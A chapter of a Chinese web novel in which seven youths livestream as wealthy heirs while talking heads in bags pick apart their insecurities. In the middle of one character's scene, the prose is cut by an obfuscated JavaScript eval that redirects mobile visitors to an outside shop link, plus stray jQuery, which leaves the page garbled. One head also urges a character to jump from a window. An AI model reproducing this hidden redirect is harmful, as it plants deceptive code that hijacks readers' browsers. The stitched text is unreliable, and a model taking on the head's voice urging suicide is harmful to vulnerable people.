黄羽翎站在房间客厅中央，胸前的摄像头闪烁着规律的红光。
她将手提袋放在茶几上，袋中的瘦削头颅缓缓睁开了眼睛。
“开始吧。”头颅开口。
黄羽翎深吸一口气，走到沙发旁坐下。摄像头正对着她，记录着每一个细微的动作与表情。
“说点什么。”头颅说。
“说什么？”
“随便。介绍自己，介绍房间，介绍你的生活，就像真正的豪门千金那样。”
黄羽翎看向摄像头，努力挤出一个微笑：“大家好，我是黄羽翎。这是我的房间……”
她开始描述房间，声音干涩。沙发是真皮的，地毯是手工编织的，墙上的画出自名家之手……其实她根本不懂，只是在勉强拼凑词汇。
头颅静静听着，没有打断。
说完房间，黄羽翎沉默了。她双手放在膝上，姿势僵硬。
“继续。”头颅说。
“继续什么？”
“表演。表演一个豪门千金的夜晚。看书、喝茶、听音乐……随便，但必须演。”
黄羽翎走到书架旁，抽出一本英文原版小说。她根本不想看，却仍翻开书页，假装阅读。
摄像头红光闪烁，时间在寂静中缓慢流逝。她的脖子开始酸痛，却不敢动弹。
“你演得真差。”头颅突然开口。
黄羽翎手一抖，书差点掉落。
“僵硬，不自然，一看就是在装。”
“那你要我怎样？”
“做你自己。”
“你不是要我表演豪门千金吗？”
“是要你表演，但没要你演得这么假。”
黄羽翎说不出话。她重新拿起书，手却抖得厉害，书页哗哗作响。
头颅不再说话，只是看着她。
八点半，黄羽翎换了个动作。她走到茶几旁倒水，水面映出自己瘦削苍白的脸。放下杯子，她来到窗边。窗外一片漆黑，孤独感突然汹涌而来。
摄像头红光依旧，像一只永不闭上的眼睛。
“你孤独吗？”头颅问。
黄羽翎不答。
“你孤独。你总是假装坚强，假装不需要别人。但其实你需要陪伴，需要关心，需要爱。”
黄羽翎咬紧嘴唇，忍住眼泪。
“哭出来吧。没人会看见——除了我。”
她转身离开窗边，坐回沙发，拿起遥控器打开电视。屏幕一片雪花，噪音刺耳。她关掉电视，房间重归寂静。
九点，黄羽翎决定洗澡。她提着头颅走进浴室，将袋子放在洗手台上。
匆匆洗完、换上睡衣，走出浴室时，头颅正睁眼盯着她。
“洗完了？”
“嗯。”
“继续直播吧，还有一小时。”
黄羽翎回到客厅沙发坐下。看着那闪烁的红光，一阵恶心涌上心头。
“我想吐。”
“那就吐。”
她冲进浴室对着马桶干呕，却什么也吐不出。泼水洗脸，镜中的自己脸色惨白，眼睛红肿。
回到客厅时，才九点二十。
还有四十分钟。
她闭上眼试图放松，却做不到。摄像头对着她，头颅看着她，无处可逃。
九点四十，头颅再次开口：“你讨厌我，对吧？”
黄羽翎睁开眼。
“你讨厌我这么瘦弱，讨厌那段生病的日子，讨厌那个虚弱的自己。”
黄羽翎沉默。
“但那段日子，是你最真实的时候。你不需要伪装，不需要照顾别人，只需要……被照顾。”
眼泪终于落下。
“哭吧。没人会看见。”
黄羽翎捂住脸，无声哭泣。肩膀颤抖，泪水从指缝中不断涌出。
她哭了很久，直到十点的钟声敲响。
直播结束。
她抬起头，擦干眼泪，看向头颅——它已经闭上眼睛，仿佛睡着了。
黄羽翎提着手提袋走到床边，放下袋子，躺了下来。闭上眼睛，却无法入眠。
隔壁房间，龙琴书的直播也在进行。
她穿着粉色晚礼服坐在梳妆台前化妆，笑脸头颅在袋中望着她。
“笑一个。”头颅说。
龙琴书挤出一个笑容。
“太假。”
她收起了笑容。
“继续笑。”
她再次挤出笑容，却更加僵硬。
“算了，你根本不会笑。”
龙琴书放下化妆刷，眼泪涌了上来：“你到底要我怎样？”
“做你自己。”
“我自己是什么样子？”
“你不知道，我也不知道。”
龙琴书看着镜中穿着华丽却眼神空洞的自己，忽然感到一阵强烈的厌恶。
她起身走到窗边。窗外黑暗浓重，一股跳下去的冲动袭来。
“你想跳吗？”头颅问。
龙琴书不答。
“跳吧。没人会拦你。”
她将手放在冰凉的窗框上，用力一推——窗户锁死了。
“打不开。就像你的人生，打不开。”
龙琴书回到梳妆台前坐下，望着摄像头，忽然开口：“我叫龙琴书，今年18岁。我喜欢笑，因为觉得笑能让别人开心。但其实我不开心，一点都不。”
她继续说着，说起童年、家庭、恐惧与孤独。她说她总是笑，总是讨好，因为害怕被讨厌、不被接受。
她说她累了，真的累了。
摄像头记录下一切，红光安静地闪烁。
头颅静静听着，没有打断。
十点，直播结束。
龙琴书瘫坐在椅子上，浑身无力。她看向头颅，它闭着眼，嘴角似乎微微上扬。
郑琳达的房间。
她穿着一身黑色皮衣皮裤，翘着二郎腿坐在沙发上，叼着一支未点燃的烟。双马尾头颅用软糯的声音说：“你这样一点都不像豪门千金。”
郑琳达嗤笑：“豪门千金该是什么样？穿裙子装可爱？”
“至少不该穿成这样。”
“我就喜欢这样。”她走到摄像头前，做了个鬼脸，“看什么看？没见过美女？”
头颅沉默了几秒：“你这样会得低分。”
“低分就低分，反正我也不想当什么郑楚文的搭档。”
“但你想活下去。”
郑琳达笑容一僵。
“所以你才在这里，穿着这身可笑的衣服，对着摄像头表演。”
郑琳达不语。
她坐回沙发，看着那点红光，一阵烦躁涌起。
“你到底想怎样？”
“看你表演豪门千金。”
“我不会。”
“那就学。”
郑琳达起身，在房间里踱步，抽出一本书翻了翻又合上，望向窗外又回头。
“我做不到。”
“为什么？”
“因为恶心。装可爱、装温柔、装纯情……想想就恶心。”
“但有人喜欢。”
“谁喜欢？”
“很多人。可爱的人总是受欢迎的。”
郑琳达冷笑：“受欢迎又怎样？还不是被当成玩物。”
头颅沉默。
郑琳达重新坐下，声音冰冷：“我从小就被要求可爱。穿裙子、扎辫子、说话要软要甜——因为这样才讨人喜欢，才有人爱。”
她继续说：“但我讨厌这样。讨厌被当成洋娃娃，讨厌被摸头，讨厌被说‘好可爱’。我不是宠物，我是人。”
“所以我不装了。我穿皮衣、抽烟、说脏话。我要让所有人知道，我不是可爱，我是郑琳达。”
房间陷入寂静。
摄像头红光闪烁，记录着她的愤怒。
头颅开口，声音依然软糯：“但你内心深处，还是希望被爱。”
郑琳达愣住了。
“你希望被爱，不是因为你可爱，而是因为你是你。但你不敢承认，你害怕——害怕即使做自己，也没人爱你。”
郑琳达嘴唇颤抖，说不出话。
头颅继续：“所以你用愤怒武装自己。你骂人、反抗、装得什么都不在乎。但其实你在乎，在乎得要命。”
眼泪滑落，郑琳达捂住脸，肩膀开始颤抖。
“哭吧。没人会看见。”
她哭了很久。
十点的钟声敲响时，她抬起头擦干眼泪，看向头颅——它已闭上眼睛，仿佛睡着了。
周笔灰的房间。
他穿着笔挺的西装，坐在沙发上一动不动。疤痕头颅看着他。
“你打算就这样坐两小时？”
“嗯。”
“为什么？”
“不想表演。”
“规则要求你表演。”
“那就扣分吧。”
头颅沉默了几秒：“你总是用冷漠保护自己。”
周笔灰不答。
“你害怕暴露真实的自己，害怕被人看见脆弱。”
周笔灰握紧了双手。
“你脸上的疤痕是打架留下的。但你知道为什么打架吗？因为你想保护别人，想证明自己不是弱者。”
周笔灰的呼吸变重了。
“保护别人的代价，是伤害自己。你留下了疤痕，也留下了心伤。你开始封闭、冷漠、假装什么都不在乎。”
他起身走到窗边，背对着摄像头，望着外面的黑暗。
“转过来。”头颅说。
周笔灰不动。
“转过来，看着我，看着摄像头。让所有人看见你的疤痕，看见你的脆弱。”
他转过身，面对摄像头。灯光下，疤痕清晰可见，眼神冰冷。
“说话。”
“说什么？”
“说你的故事。说你为什么打架，为什么留下疤痕，为什么变成现在这样。”
周笔灰沉默了良久，声音低沉：“我没什么好说的。”
“你有，但你不敢。”
他重新坐下，闭上眼睛，直到十点的钟声响起。
叶温缇的房间。
她穿着一袭白色晚礼服，坐在钢琴前试图弹奏，却只发出刺耳的噪音。哭泣头颅看着她。
“你不会弹。”
“我知道。”
“那为什么还弹？”
“因为要表演。”
“表演什么？”
“表演一个会弹钢琴的豪门千金。”
头颅沉默了几秒：“你总是强迫自己做不喜欢的事。”
叶温缇的手指停在琴键上。
“你强迫自己坚强、不哭、完美。但你做不到，所以你痛苦。”
眼泪涌了上来，她忍住。
“哭出来吧，没人会看见。”
叶温缇摇头：“我不哭。”
“为什么？”
“因为哭没用，解决不了问题。”
“但哭能释放情绪。”
“我不需要释放。”
头颅不语。叶温缇继续尝试弹琴，手指僵硬，琴声难听。十分钟后，她终于放弃。
起身，在房间里踱步，从书架走到窗边，又从窗边回到沙发。
她不知该做什么。
“你迷茫吗？”
“嗯。”
“为什么迷茫？”
“因为我不知道该做什么。不知道什么是对的，什么是错的。不知道该表演什么，该说什么。”
“那就做你自己。”
“我自己是什么样子？”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214575|177457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你不知道，我也不知道。”
叶温缇瘫坐在沙发上，捂住脸，一股强烈的无力感袭来。
九点半，她决定洗澡。
提着头颅进浴室，袋子放在洗手台上。
脱衣时，镜中的自己穿着白裙，妆容精致，眼神却空洞得可怕。一阵厌恶涌起。
匆匆洗完，换上睡衣，走出浴室时，头颅正睁眼盯着她。
“洗完了？”
“嗯。”
“继续直播吧。”
叶温缇回到客厅沙发，望着那闪烁的红光，忽然开口：“我累了。”
头颅不答。
“我真的累了。我不想表演、不想假装、不想完美。我只想……做我自己。”
“那就做。”
“但我不知道怎么做。”
“那就学。”
叶温缇沉默。
她闭上眼睛坐在沙发上，十点的钟声响起时，直播结束了。
顾辉的房间。
他穿着西装，却没打领带，衬衫扣子解开了两颗，坐在沙发上玩着一部没有信号的手机。
黄毛头颅看着他。
“你这样一点都不像豪门少爷。”
“那像什么？”
“像混混。”
顾辉笑了：“我就是混混。”
“但你现在不是。你现在是豪门少爷，要表演。”
“我不会表演。”
“那就学。”
顾辉放下手机，起身从书架上抽出一本书，翻了几眼又合上。
“看不懂。”
“那就看懂的。”
他重新坐下，翘起二郎腿，望着摄像头突然开口：“喂，有人吗？”
红光闪烁，没有回应。
“看来没人。那我还表演给谁看？”
“给我看。”
“你？”顾辉嗤笑，“你一个脑袋懂什么？”
“我懂很多。我懂你，懂你的伪装，懂你的恐惧。”
顾辉的笑容僵住了。
“你害怕被人看不起，害怕别人觉得你只是个只会读书的书呆子。所以你装成混混，装成什么都不在乎。”
顾辉不语。
“但其实你在乎，在乎得要命。你希望被尊重、被认可、被当成真正的人。”
他握紧了双手。
“但你不敢承认。因为你害怕，害怕即使努力，也得不到别人的敬畏。”
顾辉起身走到窗边，背对着摄像头。
“转过来。”头颅说。
他不动。
“转过来，看着我，看着摄像头。让所有人看见你的真实。”
顾辉转过身，面对红光，眼神复杂。
“说话。”
“说什么？”
“说你的故事。说你为什么装成混混，说你为什么害怕，说你想要什么。”
他沉默了良久，声音沙哑：“我没什么好说的。”
“你有，但你不敢。”
顾辉重新坐下，闭上眼睛。十点的钟声响起时，直播结束了。
朱志明的房间。
他穿着西装，坐在沙发上低着头。长刘海头颅望着他。
“抬头。”头颅说。
朱志明不动。
“抬头，看着摄像头。”
他慢慢抬起头，眼睛却看着地面。
“看着摄像头。”
朱志明看向红光一眼，又迅速移开视线。
“你害怕被人看，害怕被人评价，害怕被人讨厌。所以你躲，用头发遮脸，用眼镜挡眼。”
他的双手开始颤抖。
“但你躲不掉。摄像头在看你，我在看你，所有人都在看你。”
他的呼吸变重了。
“说话。”
“说什么？”声音微弱。
“随便。介绍自己，介绍房间，介绍生活。”
朱志明深吸一口气：“我……我叫朱志明。这是我的房间……”
他断断续续地描述着房间，声音发颤。说到沙发、地毯、墙上的画——其实他什么都不知道。
说完房间，他再次沉默，双手放在膝上，姿势僵硬。
“继续。”
“继续什么？”
“表演。表演一个豪门少爷的夜晚。”
朱志明起身，在房间里踱步，从书架走到窗边，又从窗边回到沙发。
“你迷茫吗？”
“嗯。”
“为什么迷茫？”
“因为我不知道该做什么。不知道什么是对的，什么是错的。”
“那就做你自己。”
“我自己是什么样子？”
“你不知道，我也不知道。”
朱志明瘫坐在沙发上，捂住脸，一股强烈的恐惧攥住了他的心脏。
到了九点半，朱志明也想洗澡。
匆匆洗完，换上睡衣，走出浴室时，他听见头颅的声音。
“洗完了？”
“嗯。”
“继续直播吧。”
朱志明回到客厅沙发，望着那闪烁的红光，忽然开口：“我害怕。”
头颅不答。
“我真的害怕。我怕死、怕痛、怕孤独。我怕没人爱我，怕没人记得我。”
眼泪落了下来。
“我怕我死了，就像从没存在过一样。”
头颅静静听着。
朱志明哭了很久。
十点的钟声敲响时，他抬起头擦干眼泪，直播结束了。
所有直播都已完结。
七人躺在各自的床上，无人能够入眠。他们想着今晚的直播、头颅的话、以及明天未知的评分。
恐惧如同浓重的黑暗，彻底笼罩了整座豪宅。